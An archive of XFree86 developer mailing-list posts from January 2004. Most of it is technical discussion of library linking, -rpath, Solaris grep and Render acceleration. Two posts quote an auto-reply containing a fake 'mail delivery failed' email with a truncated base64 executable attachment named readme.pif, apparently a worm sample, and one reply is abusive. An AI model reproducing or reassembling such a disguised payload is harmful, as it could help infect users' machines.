Re: libXinerama
On Mon, 26 Jan 2004, Mike A. Harris wrote: On Wed, 21 Jan 2004, Mark Vojkovich wrote: Subject: Re: libXinerama It ships with XFree86 and RH should have installed it in /usr/X11R6/lib/ My guess, is that he has a binary application he's downloaded, which was compiled on Gentoo or some other Linux distribution which ships all XFree86 libraries shared by default, and is trying to run it on a Red Hat system, which ships libraries the way XFree86 supplies them by default, which is no shared libXinerama, and having an application failure. As I remember, we ship with only a static libXinerama becuase we are waiting for some agreement from the standards people (X.org ?) so that we can have a stable, standard interface to the library. How is this progressing ? Until there is a standard we can't assume that Xinerama libraries are interchangable between XFree86, Metro-X, Xi, fd.o, or any other vendor's X libraries. -- Andrew C Aitchison ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Please confirm (conf#527cf097699735d628121921e7a8b681)
VIGTIG INFORMATION! Dette er en automatisk besked. Den e-mail, som du har sendt (vedhftet forneden), krver en bekrftelse fr den kan leveres til modtageren. For at bekrfte at du har sendt e-mailen, skal du trykke p besvar knappen i dit e-mail program nu og returnere denne e-mail (Du behver ikke at skrive noget). Nr det er gjort, vil du ikke fremover blive spurgt om at bekrfte e-mails. IMPORTANT INFORMATION! This is an automated message. The message you sent (attached below) requires confirmation before it can be delivered. To confirm that you sent the message below, just hit the Reply button and send this message back (you don't need to edit anything). Once this is done, no more confirmations will be necessary. This email account is protected by: Active Spam Killer (ASK) V2.2 - (C) 2001-2002 by Marco Paganini For more information visit http://www.paganini.net/ask --- Original Message Follows --- From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: MAIL DELIVERY SYSTEM Date: Tue, 27 Jan 2004 09:44:20 +0100 This is a multi-part message in MIME format. --=_NextPart_000_0010_4631F79F.CB7E02FB Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit Mail transaction failed. Partial message is available. --=_NextPart_000_0010_4631F79F.CB7E02FB Content-Type: application/octet-stream; name=readme.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=readme.pif TVqQAAME//8AALgAQAAA qAAA UEUA AEwBAwDgAA8BCwEHAABQEGAAAGC+cMAASgAAEAAA AAIAAAQABAAA0BACAAAQAAAQABAAABAQ AADowQAAMAEAAADAAADoAQAA AABVUFgwAABgEAAEAACAAADg VVBYMQAAUHBQBAAAQAAA4C5yc3JjABDA BFQAAEAAAMAA MS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOgAAAJgEAxe6H ApIAUCZKAEAD/bJpmiwQBPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCf aUgARAc4MDRN03QDKCQcGBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClv XKbpmsEHVEwDRDiapmmaLCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyA eHAoe2jebNN1B1wDVEwo//sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY 1MzIwJqmabq4J7CsqKCYaZqmaZSMiIR8pGmapnRsZFxUaZqmG0wDREA4MKZpmqYoIBgQCJqmc5sA +CbPA+jg2Gebzm1UNEMDQDQ024r/nVrQ2uX0Bh8zTmxyTtgCl1+SyAE9fL5DS5bkNYngOpf/ 91rAKZUEdutj3lzdYehy/48iuFHtjC7TeybUDTnwqmf/J+qweUUU5ruTbkwtEfjiz7+y qKGdnJ6jq7bE1ekAGjf/V3qgyfUkVovD/jx9wQhSn+9CmPFNrA5z20a0JZkQigf/hwqQ GaWlqP7yw9Ko+BIsSmuPtuANPXCm3xtafOEnVcn/EmC+GGXVOJ4Xc+JUiUG8muM/xlCNbQCW T8tqDLFDerL/cxfOiEcFyIpXI/LEmXFMLgvv1sCtnZCGD3t6fJGJlKL/s8fe+hU1WH6n wwI0eaHcGluP5jBtzSB2zyuK/FG5JJL/A3fuaOVl6G6Xg4N2jJWhsMLX7wooSW2UvusbToS9 +Tj/er8HUqDxRWyWU7MafOVRwDKnH5oYmR2kLrtL3nQNqUj/6o834pBB9axmI+OmbDUB 0KJ3TyoI6c20not7bmRdWVj/Wl9ncoCRpbzW8xM2XIWx4BJHf7r4OX3EDlur/lStCT3/ mnenAnDhVcwGw0PGXNVhYWRqc3+MoLXN6AYnS3Kcyfn/LGKbVxZYfbBgJv4jetQxkeRawy/O EIX9dPZ3+4AMmSn/vFLrhybIbRXAbh+TikThlNQSId+ugFUtGObHq/J8aVn/TkI7Nzg4 (Original message truncated) ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
grep on Solaris
Building 4.4.0 RC2 on Solaris gives the following on Solaris for xc/programs/Xserver/hw/xfree86 rm -f build.new echo #define BUILD_DATE `date +%Y%m%d` build.new echo #define CLOG_DATE `if tail CHANGELOG | grep -F -q '$XFree86:'; then tail CHANGELOG | grep -F '$XFree86:' | sed s,'.* \([0-9][0-9]*\)/\([0-9][0-9] *\)/\( [0-9][0-9]*\).*,\1\2\3,'; else echo 0; fi` build.new grep: illegal option -- F grep: illegal option -- q Usage: grep -hblcnsviw pattern file . . . + rm -f xf86Build.h + mv -f build.new xf86Build.h rm -f build.new /usr/xpg4/bin/grep needs to be used instead of the default /usr/bin/grep. Should ChangelogDate and ChangelogDateCmd be added to sun.cf to corect this? Regards, Lindsay Haigh ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: Please confirm (conf#527cf097699735d628121921e7a8b681)
dear fucknut, we don't want to see the bogus bounces your software delivers to innocent bystanders when you get mail with a forged address. fix your software or quit using the internet! thanks, an asshole On Tue, Jan 27, 2004 at 10:45:01AM +0100, Lars B. Dybdahl wrote: VIGTIG INFORMATION! Dette er en automatisk besked. Den e-mail, som du har sendt (vedhæftet forneden), kræver en bekræftelse før den kan leveres til modtageren. For at bekræfte at du har sendt e-mailen, skal du trykke på besvar knappen i dit e-mail program nu og returnere denne e-mail (Du behøver ikke at skrive noget). Når det er gjort, vil du ikke fremover blive spurgt om at bekræfte e-mails. IMPORTANT INFORMATION! This is an automated message. The message you sent (attached below) requires confirmation before it can be delivered. To confirm that you sent the message below, just hit the Reply button and send this message back (you don't need to edit anything). Once this is done, no more confirmations will be necessary. This email account is protected by: Active Spam Killer (ASK) V2.2 - (C) 2001-2002 by Marco Paganini For more information visit http://www.paganini.net/ask --- Original Message Follows --- From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: MAIL DELIVERY SYSTEM Date: Tue, 27 Jan 2004 09:44:20 +0100 This is a multi-part message in MIME format. --=_NextPart_000_0010_4631F79F.CB7E02FB Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit Mail transaction failed. Partial message is available. --=_NextPart_000_0010_4631F79F.CB7E02FB Content-Type: application/octet-stream; name=readme.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=readme.pif TVqQAAME//8AALgAQAAA qAAA UEUA AEwBAwDgAA8BCwEHAABQEGAAAGC+cMAASgAAEAAA AAIAAAQABAAA0BACAAAQAAAQABAAABAQ AADowQAAMAEAAADAAADoAQAA AABVUFgwAABgEAAEAACAAADg VVBYMQAAUHBQBAAAQAAA4C5yc3JjABDA BFQAAEAAAMAA MS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOgAAAJgEAxe6H ApIAUCZKAEAD/bJpmiwQBPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCf aUgARAc4MDRN03QDKCQcGBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClv XKbpmsEHVEwDRDiapmmaLCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyA eHAoe2jebNN1B1wDVEwo//sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY 1MzIwJqmabq4J7CsqKCYaZqmaZSMiIR8pGmapnRsZFxUaZqmG0wDREA4MKZpmqYoIBgQCJqmc5sA +CbPA+jg2Gebzm1UNEMDQDQ024r/nVrQ2uX0Bh8zTmxyTtgCl1+SyAE9fL5DS5bkNYngOpf/ 91rAKZUEdutj3lzdYehy/48iuFHtjC7TeybUDTnwqmf/J+qweUUU5ruTbkwtEfjiz7+y qKGdnJ6jq7bE1ekAGjf/V3qgyfUkVovD/jx9wQhSn+9CmPFNrA5z20a0JZkQigf/hwqQ GaWlqP7yw9Ko+BIsSmuPtuANPXCm3xtafOEnVcn/EmC+GGXVOJ4Xc+JUiUG8muM/xlCNbQCW T8tqDLFDerL/cxfOiEcFyIpXI/LEmXFMLgvv1sCtnZCGD3t6fJGJlKL/s8fe+hU1WH6n wwI0eaHcGluP5jBtzSB2zyuK/FG5JJL/A3fuaOVl6G6Xg4N2jJWhsMLX7wooSW2UvusbToS9 +Tj/er8HUqDxRWyWU7MafOVRwDKnH5oYmR2kLrtL3nQNqUj/6o834pBB9axmI+OmbDUB 0KJ3TyoI6c20not7bmRdWVj/Wl9ncoCRpbzW8xM2XIWx4BJHf7r4OX3EDlur/lStCT3/ mnenAnDhVcwGw0PGXNVhYWRqc3+MoLXN6AYnS3Kcyfn/LGKbVxZYfbBgJv4jetQxkeRawy/O EIX9dPZ3+4AMmSn/vFLrhybIbRXAbh+TikThlNQSId+ugFUtGObHq/J8aVn/TkI7Nzg4 (Original message truncated) ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: -rpath not used under Linux
On Sat, 24 Jan 2004, David Dawes wrote: Hi, I see the patch already comitted to xc tree so wanted to compile xfree86 with -rpath ... On Sat, Jan 24, 2004 at 06:09:46PM +0100, Matthieu Herrb wrote: David Dawes wrote (in a message from Saturday 24) If there is no general consensus, I will at least add a build option to make it easy to turn -rpath on or off for a host.def setting, and leave the defaults as they are now. Yes I think this makes sense. A proposed patch is attached. I've tested it on FreeBSD and Linux. The defaults are unchanged. UseRpath can be defined to YES or NO in host.def to override. How about documenting this in the xc/config/cf/README file? I went through thenet and collected some interresting links on this topic: In general, tt's the task for sysadmin to define that during installation. And sysadmin can even compile several versions of X and keep them in separate locations with hardcoded rpath in each. User can override that using LD_LIBRARY_PATH, but it's not recommended, especially not having set LD_LIBRARY_PATH system-wide (as I do on my systems). :( Yes, I know why I paly with LD_LIBRRY_PATH - as some apps don't find my libs in /software/@sys/usr path, a bit exotic right? If all those different installations of X use different ShLibDir and LibDir I think they can nicely coexist. I don't accept that using -rpath slows down the loader during execution as someone noted on the list (http://XFree86.Org/mailman/private/devel/). It seems LD_LIBRARY_PATH slows down the execution, the path compiled into the binary with -rpath should be exactly the right one. I will stick to -rpath on Linux, so what should I do to compile X with it on Linux and where is it documented, Dave?;) The -rpath security question might be better posted to BUGTRAQ list. Yes, I know LD_LIBRARY_PATH is ignored when SUID, but why shouldn't the path be hardcoded? We anyway know the installation prefix while compiling, so ...? Quick google search gives some good emails, the latter the better. ;) http://seclists.org/lists/pen-test/2001/Oct/0166.html http://www-unix.globus.org/mail_archive/security/2001/Archive/msg00346.html http://lists.debian.org/debian-mentors/2000/debian-mentors-200010/msg00034.html http://gcc.gnu.org/ml/libstdc++/2001-11/msg00040.html http://gcc.gnu.org/ml/java/2000-06/msg00069.html http://docs.sun.com/db/doc/816-0559/6m71o2agp?a=view http://www.visi.com/~barr/ldpath.html http://www.esat.kuleuven.ac.be/~gcc/shared_libraries.html All after all, isn't exactly this email thread at http://lists.debian.org/debian-hurd/2000/debian-hurd-200010/msg00326.html a good example why xfree86 should have rather used -rpath: - people will not have to modify LD_LIBRARY_PATH nor depend on /etc/ld.so.conf - make people stop using LD_LIBRARY_PATH if it causes troubles to them time to time, as X will run without LD)LIBRARY_PATH always(as teh sysadmin knew well where X will be placed So why not -rpath by default? One last which gives another view on this OSF1 manpage: http://www.uwm.edu/cgi-bin/IMT/wwwman?topic=loader(5)msection=3 quote To ensure compatibility, applications may choose to disallow exec-time or run-time library replacement. The ld(1) program supports a flag, -no_library_replacement, to facilitate this feature. /quote On Tru64Unix 5.1A(OSF1 successor) I see: -nolibrary_replacement Set an option in the dynamic section of the output object so that rld does not allow exec-time or run-time changing of the path (except for super user) to find the shared objects. Typically, the option is used by system utilities for security purposes. This I would call security. Those who want several concurrent installation of X have to decide what the location will be during link step. Others are supposed to be users and should play with LD_LIBRARY_PATH, but let's prevents them with -nolibrary_replacement on OSF1 and possibly other platforms too. I cannot find such an ld(1) flag. Opinions? Thanks! # strings /usr/lib/libncurses.so /* GNU ld script Because Gentoo have critical dynamic libraries in /lib, and the static versions in /usr/lib, we need to have a fake dynamic lib in /usr/lib, otherwise we run into linking problems. See bug #4411 on http://bugs.gentoo.org/ for more info. */ GROUP ( /lib/libncurses.so ) # -- Martin Mokrejs [EMAIL PROTECTED] PGP5.0i key is at http://www.natur.cuni.cz/~mmokrejsIndex: FreeBSD.cf === RCS file: /home/x-cvs/xc/config/cf/FreeBSD.cf,v retrieving revision 3.145 diff -u -r3.145 FreeBSD.cf --- FreeBSD.cf 6 Dec 2003 19:24:11 - 3.145 +++ FreeBSD.cf 25 Jan 2004 03:39:51 - @@ -321,22 +321,53 @@ * and they can remove it from the list of directories they add to ld.so.cache * in their /etc/rc file. */ -#if OSMajorVersion 2 || (OSMajorVersion == 2 OSMinorVersion = 2) -#ifndef ExtraLoadFlags -#if UseElfFormat
Re: Hi
Hiya, Lately, I've started receiving more than 1.500 unsolicited e-mails per day on this address, so I've closed it down. If you really meant for a mail to get through to me, please write [EMAIL PROTECTED] = På det seneste er jeg begyndt at modtage mere end 1.500 e-mails per dag på denne addresse -- så den er blevet lukket. Opdater venligst din adressebog, og send i stedet til [EMAIL PROTECTED] ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: libXinerama
On Tue, Jan 27, 2004 at 07:13:30AM +, Andrew C Aitchison wrote: On Mon, 26 Jan 2004, Mike A. Harris wrote: On Wed, 21 Jan 2004, Mark Vojkovich wrote: Subject: Re: libXinerama It ships with XFree86 and RH should have installed it in /usr/X11R6/lib/ My guess, is that he has a binary application he's downloaded, which was compiled on Gentoo or some other Linux distribution which ships all XFree86 libraries shared by default, and is trying to run it on a Red Hat system, which ships libraries the way XFree86 supplies them by default, which is no shared libXinerama, and having an application failure. As I remember, we ship with only a static libXinerama becuase we are waiting for some agreement from the standards people (X.org ?) so that we can have a stable, standard interface to the library. How is this progressing ? Until there is a standard we can't assume that Xinerama libraries are interchangable between XFree86, Metro-X, Xi, fd.o, or any other vendor's X libraries. We build pretty much all libraries shared now, with the caveat that major revisions bumps may happen. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: -rpath not used under Linux
On Tue, Jan 27, 2004 at 03:22:35PM +0100, Martin MOKREJS wrote: On Sat, 24 Jan 2004, David Dawes wrote: I will stick to -rpath on Linux, so what should I do to compile X with it on Linux and where is it documented, Dave?;) Add the following line to your host.def file: #define UseRpath YES The main objection to rpath that I see is that it is searched before the sysadmin and user overrides. Personally I would find it more useful as a fallback, searched after ld.so.cache and LD_LIBRARY_PATH. On Solaris, at least, LD_LIBRARY_PATH will override a built-in -R path. But everyone has their own ideas and preferences on things like this. The defaults we use appear to be reasonably well accepted, and now it is easy to build with a different choice if you don't like the defaults. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: -rpath not used under Linux
On Tue, 27 Jan 2004, David Dawes wrote: On Tue, Jan 27, 2004 at 03:22:35PM +0100, Martin MOKREJS wrote: On Sat, 24 Jan 2004, David Dawes wrote: I will stick to -rpath on Linux, so what should I do to compile X with it on Linux and where is it documented, Dave?;) Add the following line to your host.def file: #define UseRpath YES The main objection to rpath that I see is that it is searched before the sysadmin and user overrides. Personally I would find it more No, LD_LIBRARY_PATH always overrides except SUID case. -- Martin Mokrejs [EMAIL PROTECTED] PGP5.0i key is at http://www.natur.cuni.cz/~mmokrejs ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: -rpath not used under Linux
On Tue, Jan 27, 2004 at 05:44:57PM +0100, Martin MOKREJS wrote: On Tue, 27 Jan 2004, David Dawes wrote: On Tue, Jan 27, 2004 at 03:22:35PM +0100, Martin MOKREJS wrote: On Sat, 24 Jan 2004, David Dawes wrote: I will stick to -rpath on Linux, so what should I do to compile X with it on Linux and where is it documented, Dave?;) Add the following line to your host.def file: #define UseRpath YES The main objection to rpath that I see is that it is searched before the sysadmin and user overrides. Personally I would find it more No, LD_LIBRARY_PATH always overrides except SUID case. That's not what I've found (or what Jakub Jelinek reported for Linux or what the rtld codes shows for FreeBSD). I've done some simple tests on FreeBSD, Linux, and Solaris, and the LD_LIBRARY_PATH override only works on Solaris. This is for non-SUID executables. BTW, this is why on FreeBSD we need to use LD_PRELOAD to make some utilities run during the build process use the freshly built shared libraries instead of the installed ones. Something similar will probably be needed for a Linux build with -rpath enabled. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
r128 and CRT not enabled
Does anyone have a reason to not apply the patch attached to http://bugs.xfree86.org/show_bug.cgi?id=935? David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: -rpath not used under Linux
Hi! Am 27.01.2004 um 18:13 schrieb David Dawes: No, LD_LIBRARY_PATH always overrides except SUID case. That's not what I've found (or what Jakub Jelinek reported for Linux or what the rtld codes shows for FreeBSD). I've done some simple tests on FreeBSD, Linux, and Solaris, and the LD_LIBRARY_PATH override only works on Solaris. This is for non-SUID executables. So what is LD_LIBRARY_PATH good for, when it does not override the compiled in default? IMHO the Solaris implementation is the only one that really makes sense. PS. I am glad, the new option is introduced to give me an easy choice. In fact, I always had the choice to edit the imake config file to reflect my personal whishes, but doing it in host.def is a much cleaner way. 73, Mario -- Mario Klebsch [EMAIL PROTECTED] PGP-Key available at http://www.klebsch.de/public.key Fingerprint DSS: EE7C DBCC D9C8 5DC1 D4DB 1483 30CE 9FB2 A047 9CE0 Diffie-Hellman: D447 4ED6 8A10 2C65 C5E5 8B98 9464 53FF 9382 F518 ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: -rpath not used under Linux
On Tue, Jan 27, 2004 at 08:13:51PM +0100, Mario Klebsch wrote: Hi! Am 27.01.2004 um 18:13 schrieb David Dawes: No, LD_LIBRARY_PATH always overrides except SUID case. That's not what I've found (or what Jakub Jelinek reported for Linux or what the rtld codes shows for FreeBSD). I've done some simple tests on FreeBSD, Linux, and Solaris, and the LD_LIBRARY_PATH override only works on Solaris. This is for non-SUID executables. So what is LD_LIBRARY_PATH good for, when it does not override the compiled in default? IMHO the Solaris implementation is the only one that really makes sense. I guess that's what the DT_RUNPATH dynamic tag that Jakub mentioned is for (-rpath --enable-new-dtags). David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: Cygwin/XFree86 Status?
On Mon, 26 Jan 2004, Kendall Bennett wrote: David Dawes [EMAIL PROTECTED] wrote: Even though I have XFree86 CVS commit access, I do most of my new work in a separate tree, which I keep in sync with the XFree86 tree. I don't find this to be a significant burden. Sure, I don't do actual development in that tree either. But when I am done I need to the code into the official tree to avoid major patching and integration headaches in the future. For you that is easy, since you can just commit your changes into the primary tree. I doubt that I do as much development work as you, but I've found CVS's merging reliable enough that I can afford to do a CVS update into my development tree every night. When the update touches lines that I have also changed, it handles the conflict well enough that it is easy to sort out. Sure, the CVS tree doesn't compile from time to time, but it averages less than once a month, and if I can't fix it, someone else will in a couple of days. Even then a build failure in a part of the tree I'm not working on isn't a problem. -- Andrew C Aitchison ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
RE: Another Render question
I didn't remove anything. There was never any support for componentAlpha. I just made XAA aware that it didn't support it. You removed the ability for a driver to support accelerated component alpha on a XFree 4.4.0 binary. If this is now the most common case then why wouldn't a driver want the opportunity to support that? Seems like the driver should be required to punt that rather than Xaa punting for them. Looking at the XAADoComposite function, it isn't very large so a driver could just hook at that level and pull a copy of that function into the driver minus the component alpha check and be able to support accelerated component alpha. There also seems to be a check that punts anything with a transform which also eliminates a large number of useful RENDER cases. (Do all stretches have a transform?) Seems like a driver that wanted to support RENDER well would have to hook at the Composite level currently so it isn't really a big deal that component alpha doesn't get passed through to the driver. There still remains the issue of why would the newer font libs use component alpha when that removes all opportunity for acceleration. Is there a way for the libs to determine that component alpha is an unaccelerated path? -Matt ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: Cygwin/XFree86 Status?
On Mon, 26 Jan 2004, Andrew C Aitchison wrote: Even though I have XFree86 CVS commit access, I do most of my new work in a separate tree, which I keep in sync with the XFree86 tree. I don't find this to be a significant burden. Sure, I don't do actual development in that tree either. But when I am done I need to the code into the official tree to avoid major patching and integration headaches in the future. For you that is easy, since you can just commit your changes into the primary tree. I doubt that I do as much development work as you, but I've found CVS's merging reliable enough that I can afford to do a CVS update into my development tree every night. When the update touches lines that I have also changed, it handles the conflict well enough that it is easy to sort out. You are definitely more trusting of CVS than I am... I _never_ use a checked out tree for development. Marc. +--+---+ | Marc Aurele La France | work: 1-780-492-9310 | | Computing and Network Services | fax:1-780-492-1729 | | 352 General Services Building | email: [EMAIL PROTECTED] | | University of Alberta +---+ | Edmonton, Alberta | | | T6G 2H1 | Standard disclaimers apply| | CANADA | | +--+---+ XFree86 developer and VP. ATI driver and X server internals. ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
RE: Another Render question
On Tue, 27 Jan 2004, Sottek, Matthew J wrote: I didn't remove anything. There was never any support for componentAlpha. I just made XAA aware that it didn't support it. You removed the ability for a driver to support accelerated component alpha on a XFree 4.4.0 binary. If this is now the most common case then why wouldn't a driver want the opportunity to support that? Seems like the driver should be required to punt that rather than Xaa punting for them. There was never a way for the driver to know that componentAlpha was used. I removed the ambiguity. Now, if you get masks that have RGB components, the RGB components are to be ignored. It could have been defined either way: componentAlpha or non-componentAlpha. I don't know if componentAlpha is the more common case, but I think that drivers are less likely to be able to accelerate it than they are non-componentAlpha, so being able to support componentAlpha seems better suited to the exception rather than the rule. We can always add to the flags as Thomas and I discussed. Not sure that we want to squeeze that into 4.4 though. Mark. Looking at the XAADoComposite function, it isn't very large so a driver could just hook at that level and pull a copy of that function into the driver minus the component alpha check and be able to support accelerated component alpha. There also seems to be a check that punts anything with a transform which also eliminates a large number of useful RENDER cases. (Do all stretches have a transform?) Seems like a driver that wanted to support RENDER well would have to hook at the Composite level currently so it isn't really a big deal that component alpha doesn't get passed through to the driver. There still remains the issue of why would the newer font libs use component alpha when that removes all opportunity for acceleration. Is there a way for the libs to determine that component alpha is an unaccelerated path? -Matt ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Best Western - Reservations Confirmation (KMM1406869V44083L0KM)
This e-mail is automated and will not be responded to. Reservations can not be cancelled through this e mail. For any questions or concerns, please call your nearest Best Western Reservation Office. TOLL-FREE NUMBERS - AUSTRALIA: 131779 AUSTRIA: 0800295194 BELGIUM:080016776 CYPRUS: 08095609 DENMARK: 80010988 FINLAND: 98002010 FRANCE: 0800904490 GERMANY:01802212588 GREECE: 00800391273854 IRELAND:1800709101 ISRAEL: 18009452041 ITALY: 800820080 JAPAN: 0120421234 LUXEMBOURG: 08006776 MEXICO: 0018005281234 NETHERLANDS: 08000221455 NEW ZEALAND: 0800237893 NORWAY: 80011624 PORTUGAL: 0800993900 SPAIN: 900993900 SWEDEN: 020792752 SWITZERLAND: 0800552344 TURKEY:00800399072333 U.K: 0800393130 USA: 1800WESTERN ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: grep on Solaris
This works. Thanks, Lindsay Haigh David Dawes [EMAIL PROTECTED] To: [EMAIL PROTECTED] .Orgcc: Sent by: Subject: Re: grep on Solaris [EMAIL PROTECTED] ree86.Org 28/01/04 02:00 Please respond to devel On Tue, Jan 27, 2004 at 10:46:55AM +1000, [EMAIL PROTECTED] wrote: Building 4.4.0 RC2 on Solaris gives the following on Solaris for xc/programs/Xserver/hw/xfree86 rm -f build.new echo #define BUILD_DATE `date +%Y%m%d` build.new echo #define CLOG_DATE `if tail CHANGELOG | grep -F -q '$XFree86:'; then tail CHANGELOG | grep -F '$XFree86:' | sed s,'.* \([0-9][0-9]*\)/\([0-9][0-9] *\)/\( [0-9][0-9]*\).*,\1\2\3,'; else echo 0; fi` build.new grep: illegal option -- F grep: illegal option -- q Usage: grep -hblcnsviw pattern file . . . + rm -f xf86Build.h + mv -f build.new xf86Build.h rm -f build.new /usr/xpg4/bin/grep needs to be used instead of the default /usr/bin/grep. Should ChangelogDate and ChangelogDateCmd be added to sun.cf to corect this? Or we could add GrepCmd and define it to /usr/xpg4/bin/grep for older versions of Solaris. Or use 'fgrep' instead of -F, and redirect to /dev/null instead of -q. We use fgrep in lnxdoc.rules, this might be the easiest solution. I've attached a patch that does this. Let me know if it works for you. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes (See attached file: usefgrep.diff) usefgrep.diff Description: Binary data
Re: r128 and CRT not enabled
On Tue, Jan 27, 2004 at 01:07:00PM -0500, David Dawes wrote: Does anyone have a reason to not apply the patch attached to http://bugs.xfree86.org/show_bug.cgi?id=935? I don't think this patch is correct. What it does is enable the CRTC while writing the new mode -- generally that is bad. I would suggest either (1) removing the R128_CRTC_VSYNC_DIS | R128_CRTC_HSYNC_DIS from the R128RestoreCrtcRegisters code or (2) add those bits to the R128Unblank code. #1 will change the behavior from putting the monitor in suspend mode during the CRTC changes to just blanking the screen, while #2 will automatically enable the HV sync signals when the screen is unblanked after a mode switch. Both should be safe. Are there others that have R128 laptops who could test this solution to see if it works for them? I no longer have a R128 laptop. Kevin ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
radeon bugs
There are quite a few Radeon-related bugs still outstanding in bugs.xfree86.org, including several related to DRI lockups. Has anyone followed them up? David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: [Dri-devel] radeon bugs
On Tue, Jan 27, 2004 at 06:45:10PM +, Alan Hourihane wrote: On Tue, Jan 27, 2004 at 12:37:51PM -0500, David Dawes wrote: There are quite a few Radeon-related bugs still outstanding in bugs.xfree86.org, including several related to DRI lockups. Has anyone followed them up? David, I suspect not with XFree86's DRI drivers still being based on Mesa 4.0.4, and the DRI developers aren't tracking Mesa 4.0.x anymore. We are at Mesa 5.0.2. Doesn't the DRI project maintain a Mesa 5.0.x-based stable branch of some sort? David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: [Dri-devel] radeon bugs
On Tue, Jan 27, 2004 at 12:37:51PM -0500, David Dawes wrote: There are quite a few Radeon-related bugs still outstanding in bugs.xfree86.org, including several related to DRI lockups. Has anyone followed them up? David, I suspect not with XFree86's DRI drivers still being based on Mesa 4.0.4, and the DRI developers aren't tracking Mesa 4.0.x anymore. Alan. ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: [Dri-devel] radeon bugs
On Tue, Jan 27, 2004 at 02:21:42PM -0500, David Dawes wrote: On Tue, Jan 27, 2004 at 06:45:10PM +, Alan Hourihane wrote: On Tue, Jan 27, 2004 at 12:37:51PM -0500, David Dawes wrote: There are quite a few Radeon-related bugs still outstanding in bugs.xfree86.org, including several related to DRI lockups. Has anyone followed them up? David, I suspect not with XFree86's DRI drivers still being based on Mesa 4.0.4, and the DRI developers aren't tracking Mesa 4.0.x anymore. We are at Mesa 5.0.2. Doesn't the DRI project maintain a Mesa 5.0.x-based stable branch of some sort? Whoops, sorry I meant to say 5.0.2. It's moved to Mesa 6.0 now, but I don't believe there's anyone maintaining a stable 5.0.2 branch. Alan. ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: [Dri-devel] radeon bugs
David Dawes wrote: On Tue, Jan 27, 2004 at 06:45:10PM +, Alan Hourihane wrote: On Tue, Jan 27, 2004 at 12:37:51PM -0500, David Dawes wrote: There are quite a few Radeon-related bugs still outstanding in bugs.xfree86.org, including several related to DRI lockups. Has anyone followed them up? David, I suspect not with XFree86's DRI drivers still being based on Mesa 4.0.4, and the DRI developers aren't tracking Mesa 4.0.x anymore. We are at Mesa 5.0.2. Doesn't the DRI project maintain a Mesa 5.0.x-based stable branch of some sort? David, The hardware drivers are now being maintained in the Mesa tree. Mesa does have a set of stable branches but the only one containing the DRI drivers is too recent for your purposes - Mesa 6.0. This is a good time to remind people/establish the principle that driver bug fixes should be propogated to the mesa-6_0_branch of the Mesa repository. Brian's always done a good job of making sure core mesa fixes get copied over, but it shouldn't come down to him alone. In particular, the recent TCL lighting fixes for the radeon r200 drivers should get pushed down into Mesa 6.0. Keith ___ Devel mailing list [EMAIL PROTECTED] 